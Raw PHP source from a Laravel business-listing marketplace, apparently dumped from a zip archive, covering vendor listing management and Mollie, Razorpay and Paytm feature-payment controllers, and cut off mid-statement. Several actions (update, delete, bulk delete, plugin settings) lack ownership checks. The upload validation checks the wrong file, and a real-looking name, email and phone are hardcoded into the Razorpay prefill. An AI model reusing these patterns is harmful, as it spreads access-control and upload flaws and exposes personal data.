'Tuesday', 'Wednesday', 'Thursday', 'Friday']; foreach ($days as $day) { $businessHours = new BusinessHour(); $businessHours->listing_id = $listing->id; $businessHours->day = $day; $businessHours->start_time = "10:00 AM"; $businessHours->end_time = "07:00 PM"; $businessHours->holiday = 1; $businessHours->save(); } Session::flash('success', 'New Listing added successfully!'); $info = Basic::select('to_mail', 'website_title')->first(); $vendor =Auth::guard('vendor')->user()->username; $mailData['subject'] = "New Listing Posted on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that a new listing has been posted on our website by $vendor. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', 'Please Buy a plan to add a Listing.!'); return Response::json(['status' => 'error'], 200); } } public function manageSocialLink($id) { Listing::findOrFail($id); $permission = socialLinksPermission($id); if ($permission) { $vendor_id = Listing::where('id', $id)->pluck('vendor_id')->first(); if ($vendor_id == Auth::guard('vendor')->user()->id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $information['listing_id'] = $id; $information['socialLinks'] = ListingSocialMedia::Where('listing_id', $id)->get(); $information['totalsocialLinks'] = ListingSocialMedia::where('listing_id', $id)->count(); return view('vendors.listing.social-link', $information); } else { Session::flash('warning', 'Please Buy a plan to manage social link!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'You dont have any permission!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', "You dont have Permission."); return redirect()->route('vendor.listing_management.listing'); } } public function updateSocialLink(Request $request, $id) { $SocialLinkLimit = packageTotalSocialLink(Auth::guard('vendor')->user()->id); $request->validate([ 'socail_link' => [ 'sometimes', 'array', 'max:' . $SocialLinkLimit, ], 'socail_link.*' => [ 'required', ], 'icons' => 'required', ]); ListingSocialMedia::where('listing_id', $id)->delete(); $iconsString = ($request->icons); $iconArray = explode(',', $iconsString); if (!empty($request->socail_link)) { foreach ($request->socail_link as $key => $link) { ListingSocialMedia::create([ 'listing_id' => $id, 'link' => $link, 'icon' => $iconArray[$key] ]); } } Session::flash('success', 'Social Link Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function manageAdditionalSpecification($id) { Listing::findOrFail($id); $permission = additionalSpecificationsPermission($id); if ($permission) { $vendor_id = Listing::where('id', $id)->pluck('vendor_id')->first(); if ($vendor_id == Auth::guard('vendor')->user()->id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $information['listing_id'] = $id; $information['languages'] = Language::all(); $information['features'] = ListingFeature::where('listing_id', $id)->get(); $information['totalFeature'] = ListingFeature::where('listing_id', $id)->count(); return view('vendors.listing.feature', $information); } else { Session::flash('warning', 'Please Buy a plan to manage Features!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'You dont have any permission!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', "You dont have any permission."); return redirect()->route('vendor.listing_management.listing'); } } public function updateAdditionalSpecification(Request $request, $id) { $rules = []; $messages = []; $languages = Language::all(); $additionalFeatureLimit = packageTotalAdditionalSpecification(Auth::guard('vendor')->user()->id); foreach ($languages as $language) { $rules[$language->code . '_feature_heading'] = 'sometimes|array|max:' . $additionalFeatureLimit; $rules[$language->code . '_feature_heading.*'] = 'required'; $messages[$language->code . '_feature_heading.*.required'] = 'The ' . $language->name . ' Feature Heading is required.'; $messages[$language->code . '_feature_heading.array'] = 'The ' . $language->name . ' Feature Heading must be an array.'; $messages[$language->code . '_feature_heading.max'] = 'Maximum ' . $additionalFeatureLimit . ' Additional Features can be added per listing for ' . $language->name . ' Language'; } $request->validate($rules, $messages); $listingFeatures = ListingFeature::where('listing_id', $id)->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } foreach ($languages as $language) { if (!empty(($request[$language->code . '_feature_heading']))) { foreach ($request[$language->code . '_feature_heading'] as $key => $v_helper) { $feature_value = $request[$language->code . '_feature_value_' . $key]; $listing_feature = ListingFeature::where([['listing_id', $id], ['indx', $key]])->first(); if (is_null($listing_feature)) { ListingFeature::create([ 'listing_id' => $id, 'indx' => $key ]); } $listing_feature = ListingFeature::where([['listing_id', $id], ['indx', $key]])->first(); $listing_specification_content = new ListingFeatureContent(); $listing_specification_content->language_id = $language->id; $listing_specification_content->listing_feature_id = $listing_feature->id; $listing_specification_content->feature_heading = $v_helper; $listing_specification_content->feature_value = json_encode($feature_value); $listing_specification_content->save(); } } } Session::flash('success', 'Feature Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function edit($id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $information['listing'] = Listing::with('galleries')->where('vendor_id', '=', Auth::guard('vendor')->user()->id)->findOrFail($id); $information['languages'] = Language::all(); return view('vendors.listing.edit', $information); } else { Session::flash('warning', 'Please Buy a plan to edit listing!'); return redirect()->route('vendor.listing_management.listing'); } } public function update(ListingUpdateRequest $request, $id) { $featuredImgURL = $request->thumbnail; $videoImgURL = $request->video_background_image; $allowedExts = array('jpg', 'png', 'jpeg', 'svg'); if ($request->hasFile('thumbnail')) { $rules['thumbnail'] = [ 'required', function ($attribute, $value, $fail) use ($featuredImgURL, $allowedExts) { $ext = $featuredImgURL->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ]; } if ($request->hasFile('video_background_image')) { $rules['video_background_image'] = [ 'required', function ($attribute, $value, $fail) use ($featuredImgURL, $allowedExts) { $ext = $featuredImgURL->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ]; } $languages = Language::all(); $in = $request->all(); $listing = Listing::findOrFail($request->listing_id); if ($request->hasFile('thumbnail')) { $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/'); if (!file_exists($featuredDir)) { mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); @unlink(public_path('assets/img/listing/') . $listing->feature_image); $in['feature_image'] = $featuredImgName; } if ($request->hasFile('video_background_image')) { $videoImgExt = $videoImgURL->getClientOriginalExtension(); $videoImgName = time() . '.' . $videoImgExt; $videoDir = public_path('assets/img/listing/video/'); if (!file_exists($videoDir)) { mkdir($videoDir, 0777, true); } copy($videoImgURL, $videoDir . $videoImgName); @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); $in['video_background_image'] = $videoImgName; } $videoLink = $request->video_url; if ($videoLink) { if (strpos($videoLink, "&") != false) { $videoLink = substr($videoLink, 0, strpos($videoLink, "&")); } $in['video_url'] = $videoLink; } $listing = $listing->update($in); $slders = $request->slider_images; if ($slders) { $pis = ListingImage::findOrFail($slders); foreach ($pis as $key => $pi) { $pi->listing_id = $request->listing_id; $pi->save(); } } foreach ($languages as $language) { $listingContent = ListingContent::where('listing_id', $request->listing_id)->where('language_id', $language->id)->first(); if (empty($listingContent)) { $listingContent = new ListingContent(); } $listingContent->language_id = $language->id; $listingContent->title = $request[$language->code . '_title']; $listingContent->slug = createSlug($request[$language->code . '_title']); $listingContent->category_id = $request[$language->code . '_category_id']; $listingContent->country_id = $request[$language->code . '_country_id']; $listingContent->state_id = $request[$language->code . '_state_id']; $listingContent->city_id = $request[$language->code . '_city_id']; $listingContent->address = $request[$language->code . '_address']; $aminities = $request->input($language->code . '_aminities', []); $listingContent->aminities = json_encode($aminities); $listingContent->description = Purifier::clean($request[$language->code . '_description'], 'youtube'); $listingContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingContent->meta_description = $request[$language->code . '_meta_description']; $listingContent->save(); } Session::flash('success', 'Listing Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function videoImageRemove($id) { $Listing = Listing::Where('id', $id)->first(); $Listing->video_background_image = null; $Listing->save(); Session::flash('success', 'Successfully Delete Video Image'); return Response::json(['status' => 'success'], 200); } public function delete($id) { $listing = Listing::findOrFail($id); //delete all the contents of this listing $contents = $listing->listing_content()->get(); foreach ($contents as $content) { $content->delete(); } // delete feature_image image and video image of this listing if (!is_null($listing->feature_image)) { @unlink(public_path('assets/img/listing/') . $listing->feature_image); } if (!is_null($listing->video_background_image)) { @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); } //delete all the images of this listing $galleries = $listing->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing-gallery/') . $gallery->image); $gallery->delete(); } //delete all Features for this listing $listingFeatures = $listing->specifications()->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } //delete feature order $featureOrders = FeatureOrder::where('listing_id', $id)->get(); if (!is_null($featureOrders)) { foreach ($featureOrders as $order) { if (!is_null($order->attachment)) { @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); } $order->delete(); } } //delete all message for this listing $listingMessages = ListingMessage::where('listing_id', $id)->get(); if (!is_null($listingMessages)) { foreach ($listingMessages as $message) { $message->delete(); } } //delete all reviews for this listing $reviews = ListingReview::where('listing_id', $id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } //delete all visitoirs for this listing $visitors = Visitor::where('listing_id', $id)->get(); if (!is_null($visitors)) { foreach ($visitors as $visitor) { $visitor->delete(); } } //delete all faq for this listing $faqs = $listing->listingFaqs()->get(); foreach ($faqs as $faq) { $faq->delete(); } //delete all follow us for this listing $sociallinks = $listing->sociallinks()->get(); foreach ($sociallinks as $sociallink) { $sociallink->delete(); } //delete all business hours for this listing BusinessHour::where('listing_id', $id)->delete(); //delete all products $products = ListingProduct::where('listing_id', $id)->get(); if (!is_null($products)) { foreach ($products as $product) { $productcontents = $product->listing_product_content()->get(); //delete all product contents foreach ($productcontents as $productcontent) { $productcontent->delete(); } //delete product feature image if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } //delete all product slider images $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } //delete this product //delete all message for this product $productMessages = ProductMessage::where('product_id', $product->id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } $product->delete(); } } // finally, delete this listing $listing->delete(); Session::flash('success', 'Listing deleted successfully!'); return redirect()->back(); } public function bulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $listing = Listing::findOrFail($id); //delete all the contents of this listing $contents = $listing->listing_content()->get(); foreach ($contents as $content) { $content->delete(); } // delete feature_image image and video image of this listing if (!is_null($listing->feature_image)) { @unlink(public_path('assets/img/listing/') . $listing->feature_image); } if (!is_null($listing->video_background_image)) { @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); } //delete all the images of this listing $galleries = $listing->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing-gallery/') . $gallery->image); $gallery->delete(); } //delete all Features for this listing $listingFeatures = $listing->specifications()->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } //delete feature order $featureOrders = FeatureOrder::where('listing_id', $id)->get(); if (!is_null($featureOrders)) { foreach ($featureOrders as $order) { if (!is_null($order->attachment)) { @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); } $order->delete(); } } //delete all message for this listing $listingMessages = ListingMessage::where('listing_id', $id)->get(); if (!is_null($listingMessages)) { foreach ($listingMessages as $message) { $message->delete(); } } //delete all reviews for this listing $reviews = ListingReview::where('listing_id', $id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } //delete all visit for this listing $visitors = Visitor::where('listing_id', $id)->get(); if (!is_null($visitors)) { foreach ($visitors as $visitor) { $visitor->delete(); } } //delete all faq for this listing $faqs = $listing->listingFaqs()->get(); foreach ($faqs as $faq) { $faq->delete(); } //delete all follow us for this listing $sociallinks = $listing->sociallinks()->get(); foreach ($sociallinks as $sociallink) { $sociallink->delete(); } //delete all business hours for this listing BusinessHour::where('listing_id', $id)->delete(); //delete all products $products = ListingProduct::where('listing_id', $id)->get(); if (!is_null($products)) { foreach ($products as $product) { $productcontents = $product->listing_product_content()->get(); //delete all product contents foreach ($productcontents as $productcontent) { $productcontent->delete(); } //delete product feature image if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } //delete all product slider images $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } //delete this product //delete all message for this listing $productMessages = ProductMessage::where('product_id', $product->id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } $product->delete(); } } // finally, delete this listing $listing->delete(); } Session::flash('success', 'Listing deleted successfully!'); return response()->json(['status' => 'success'], 200); } public function featureDelete(Request $request) { $listing_feature = ListingFeature::find($request->spacificationId); $listing_feature_contents = ListingFeatureContent::where('listing_feature_id', $listing_feature->id)->get(); foreach ($listing_feature_contents as $listing_feature_content) { $listing_feature_content->delete(); } $listing_feature->delete(); Session::flash('success', 'Feature deleted successfully!'); return Response::json(['status' => 'success'], 200); } public function socialDelete(Request $request) { $listing_feature = ListingSocialMedia::find($request->socialID); $listing_feature->delete(); Session::flash('success', 'Socail Link deleted successfully!'); return Response::json(['status' => 'success'], 200); } public function aminitieUpdate(Request $request) { $Listing = ListingContent::Where([['listing_id', $request->listingId], ['language_id', $request->languageId]])->first(); $aminities = $request->aminities; $aminitiesArray = explode(',', $aminities); $aminitiesArray = array_map('strval', $aminitiesArray); $Listing->aminities = $aminitiesArray; $Listing->save(); Session::flash('success', 'Aminities updated successfully!'); return Response::json(['status' => 'success'], 200); } public function plugins($id) { Listing::findorFail($id); $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $language = Language::where('is_default', 1)->first(); $information['title'] = ListingContent::where([['language_id', $language->id], ['listing_id', $id]]) ->select('title') ->first(); $information['data'] = DB::table('listings') ->where('id', $id) ->select('whatsapp_status', 'whatsapp_number', 'whatsapp_header_title', 'whatsapp_popup_status', 'whatsapp_popup_message', 'tawkto_status', 'tawkto_direct_chat_link', 'telegram_status', 'telegram_username', 'messenger_status', 'messenger_direct_chat_link') ->first(); $information['id'] = $id; return view('vendors.listing.plugins', $information); } else { Session::flash('warning', 'Please Buy a plan to manage plugins!'); return redirect()->route('vendor.listing_management.listing'); } } public function updateTawkTo(Request $request, $id) { $rules = [ 'tawkto_status' => 'required', 'tawkto_direct_chat_link' => 'required' ]; $messages = [ 'tawkto_status.required' => 'The tawk.to status field is required.', 'tawkto_direct_chat_link.required' => 'The tawk.to direct chat link field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'tawkto_status' => $request->tawkto_status, 'tawkto_direct_chat_link' => $request->tawkto_direct_chat_link ] ); Session::flash('success', 'Tawk.To info updated successfully!'); return redirect()->back(); } public function updateTelegram(Request $request, $id) { $rules = [ 'telegram_status' => 'required', 'telegram_username' => 'required' ]; $messages = [ 'telegram_status.required' => 'The Telegram status field is required.', 'telegram_username.required' => 'The Telegram Username field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'telegram_status' => $request->telegram_status, 'telegram_username' => $request->telegram_username ] ); Session::flash('success', 'Telegram info updated successfully!'); return redirect()->back(); } public function updateWhatsApp(Request $request, $id) { $rules = [ 'whatsapp_status' => 'required', 'whatsapp_number' => 'required', 'whatsapp_header_title' => 'required', 'whatsapp_popup_status' => 'required', 'whatsapp_popup_message' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'whatsapp_status' => $request->whatsapp_status, 'whatsapp_number' => $request->whatsapp_number, 'whatsapp_header_title' => $request->whatsapp_header_title, 'whatsapp_popup_status' => $request->whatsapp_popup_status, 'whatsapp_popup_message' => $request->whatsapp_popup_message ] ); Session::flash('success', 'WhatsApp info updated successfully!'); return redirect()->back(); } public function updateMessanger(Request $request, $id) { $rules = [ 'messenger_status' => 'required', 'messenger_direct_chat_link' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'messenger_status' => $request->messenger_status, 'messenger_direct_chat_link' => $request->messenger_direct_chat_link ] ); Session::flash('success', 'Messanger info updated successfully!'); return redirect()->back(); } public function businessHours($id) { Listing::findorFail($id); $vendor_id = Listing::where('id', $id)->pluck('vendor_id')->first(); if ($vendor_id == Auth::guard('vendor')->user()->id) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $permissions = businessHoursPermission($id); if ($permissions) { $information['id'] = $id; $information['days'] = DB::table('business_hours') ->Where('listing_id', $id) ->get(); $language = Language::where('is_default', 1)->first(); $information['title'] = ListingContent::where([['language_id', $language->id], ['listing_id', $id]]) ->select('title') ->first(); return view('vendors.listing.business-hours', $information); } else { Session::flash('warning', "Your Business Hours Permission is not granted."); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'Please Buy a plan to manage business hours!'); return redirect()->route('vendor.listing_management.listing'); } } else { Session::flash('warning', 'You dont have any permission!'); return redirect()->route('vendor.listing_management.listing'); } } public function updateHoliday(Request $request) { $listing = BusinessHour::findOrFail($request->holidayId); if ($request->holiday == 1) { $listing->update(['holiday' => 1]); Session::flash('success', 'Holiday Updated successfully!'); } else { $listing->update(['holiday' => 0]); Session::flash('success', 'Holiday Updated successfully!'); } return Response::json(['status' => 'success'], 200); } public function updateBusinessHours(Request $request, $id) { $days = ['Saturday', 'Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday']; foreach ($days as $day) { $businessHours = BusinessHour::where('id', $request[$day . '_id'])->first(); if (empty($businessHours)) { $businessHours = new BusinessHour(); } $businessHours->start_time = $request[$day . '_start_time']; $businessHours->end_time = $request[$day . '_end_time']; $businessHours->save(); } Session::flash('success', 'Business Hours Updated successfully!'); return back(); } } PK(\.,gDDIHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/MollieController.phpnu[charge; $charge = FeaturedListingCharge::find($v); $allowedCurrencies = array('AED', 'AUD', 'BGN', 'BRL', 'CAD', 'CHF', 'CZK', 'DKK', 'EUR', 'GBP', 'HKD', 'HRK', 'HUF', 'ILS', 'ISK', 'JPY', 'MXN', 'MYR', 'NOK', 'NZD', 'PHP', 'PLN', 'RON', 'RUB', 'SEK', 'SGD', 'THB', 'TWD', 'USD', 'ZAR'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for mollie payment.')->withInput(); } $title = 'Activation Feature'; $notifyURL = route('vendor.listing_management.listing.purchase_feature.mollie.notify'); $payment = Mollie::api()->payments->create([ 'amount' => [ 'currency' => $currencyInfo->base_currency_text, 'value' => sprintf('%0.2f', $charge->price) ], 'description' => $title . ' via Mollie', 'redirectUrl' => $notifyURL ]); // put some data in session before redirect to mollie url $request->session()->put('payment', $payment); $request->session()->put('chargeId', $request->charge); $request->session()->put('listingId', $request->listing_id); return redirect($payment->getCheckoutUrl(), 303); } public function notify(Request $request) { $productList = $request->session()->get('productCart'); // get the information from session $payment = $request->session()->get('payment'); $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); $paymentInfo = Mollie::api()->payments->get($payment->id); if ($paymentInfo->isPaid() == true) { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Mollie"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Mollie", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\#N$N$KHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/RazorpayController.phpnu[first(); $razorpayData = json_decode($data->information, true); $this->key = $razorpayData['key']; $this->secret = $razorpayData['secret']; $this->api = new Api($this->key, $this->secret); } public function index(Request $request, $paymentFor) { $v = $request->charge; $charge = FeaturedListingCharge::find($v); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not if ($currencyInfo->base_currency_text !== 'INR') { return redirect()->back()->with('error', 'Invalid currency for razorpay payment.')->withInput(); } $title = 'Activation Feature'; $notifyURL = route('vendor.listing_management.listing.purchase_feature.razorpay.notify'); // create order data $orderData = [ 'receipt' => $title, 'amount' => intval($charge->price * 100), 'currency' => 'INR', 'payment_capture' => 1 ]; $razorpayOrder = $this->api->order->create($orderData); $webInfo = Basic::select('website_title')->first(); $customerName = $request['billing_name'] . ' ' . $request['billing_name']; $customerEmail = $request['billing_email']; $customerPhone = $request['billing_phone']; // create checkout data $checkoutData = [ 'key' => $this->key, 'amount' => $orderData['amount'], 'name' => $webInfo->website_title, 'description' => $title . ' via Razorpay.', 'prefill' => [ "name" => "azim", "email" => "azimahmed11041@gmail.com", "contact" => "+8801749494949", ], 'order_id' => $razorpayOrder->id ]; $jsonData = json_encode($checkoutData); // put some data in session before redirect to razorpay url $request->session()->put('razorpayOrderId', $razorpayOrder->id); $request->session()->put('chargeId', $request->charge); $request->session()->put('listingId', $request->listing_id); return view('frontend.payment.razorpay', compact('jsonData', 'notifyURL')); } public function notify(Request $request) { // get the information from session $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); $razorpayOrderId = $request->session()->get('razorpayOrderId'); $urlInfo = $request->all(); // assume that the transaction was successful $success = true; try { $attributes = [ 'razorpay_order_id' => $razorpayOrderId, 'razorpay_payment_id' => $urlInfo['razorpayPaymentId'], 'razorpay_signature' => $urlInfo['razorpaySignature'] ]; $this->api->utility->verifyPaymentSignature($attributes); } catch (SignatureVerificationError $e) { $success = false; } if ($success === true) { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Razorpay"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Razorpay", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash( 'success', 'Your Payment successfully completed.' ); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\ړHHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/PaytmController.phpnu[charge; $charge = FeaturedListingCharge::find($v); $currencyInfo = $this->getCurrencyInfo(); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not if ($currencyInfo->base_currency_text !== 'INR') { Session::flash('warning', 'Invalid currency for instamojo payment.'); return redirect()->back(); } $notifyURL = route('vendor.listing_management.listing.purchase_feature.paytm.notify'); $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $customerEmail = $to_mail; $customerPhone = $vendor_mail->phone; $payment = PaytmWallet::with('receive'); $payment->prepare([ 'order' => time(), 'user' => uniqid(), 'mobile_number' => $customerPhone, 'email' => $customerEmail, 'amount' => round($charge->price, 2), 'callback_url' => $notifyURL ]); // put some data in session before redirect to paytm url // put some data in session before redirect to paypal url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('chargeId', $request->charge); $request->session()->put('listingId', $request->listing_id); return $payment->receive(); } public function notify(Request $request) { $paymentId = $request->session()->get('paymentId'); $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); $arrData = $request->session()->get('arrData'); $transaction = PaytmWallet::with('receive'); // this response is needed to check the transaction status $response = 